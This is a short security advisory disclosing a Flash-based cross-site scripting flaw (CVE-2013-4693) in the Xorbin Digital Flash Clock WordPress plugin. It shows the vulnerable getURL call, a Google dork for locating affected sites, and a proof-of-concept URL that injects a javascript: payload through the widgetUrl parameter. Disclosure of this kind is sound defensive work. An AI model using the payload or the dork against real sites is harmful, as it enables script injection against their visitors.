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Xorbin Digital Flash Clock 1.0 Plugin for Wordpress Flash-based XSS
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Description: This plugin displays digital flash clock on your website. It's easy to use and it's highly customizable.
You can add digital flash clock to your website as a widget and use as many clocks as you like on one page.

Published: 30-06-2013
Version  : 1.0
Severity : Low to Moderate
CVSS Score: 5
CVE: 2013-4693
Authors  : Prakhar Prasad http://www.prakharprasad.com
           Rafay Baloch http://www.rafayhackingarticles.net
Download : http://wordpress.org/plugins/xorbin-digital-flash-clock/
Vendor   : XORBin http://www.xorbin.com/
Google Dork: inurl:xorbin-digital-flash-clock

Details:

The vulnerability exists in "xorDigitalClock.swf" file of this plugin, "widgetUrl" parameter is taken from external input and is passed into getURL function.

     getURL(_root.widgetUrl, "")
     
Proof-of-Concept:

http://domain.tld/wordpress/wp-content/plugins/xorbin-digital-flash-clock/media/xorDigitalClock.swf#?widgetUrl=javascript:alert(1);

Clicking on the clock will execute Javascript payload.


Solution: 

https://code.google.com/p/doctype-mirror/wiki/ArticleFlashSecurityGetURL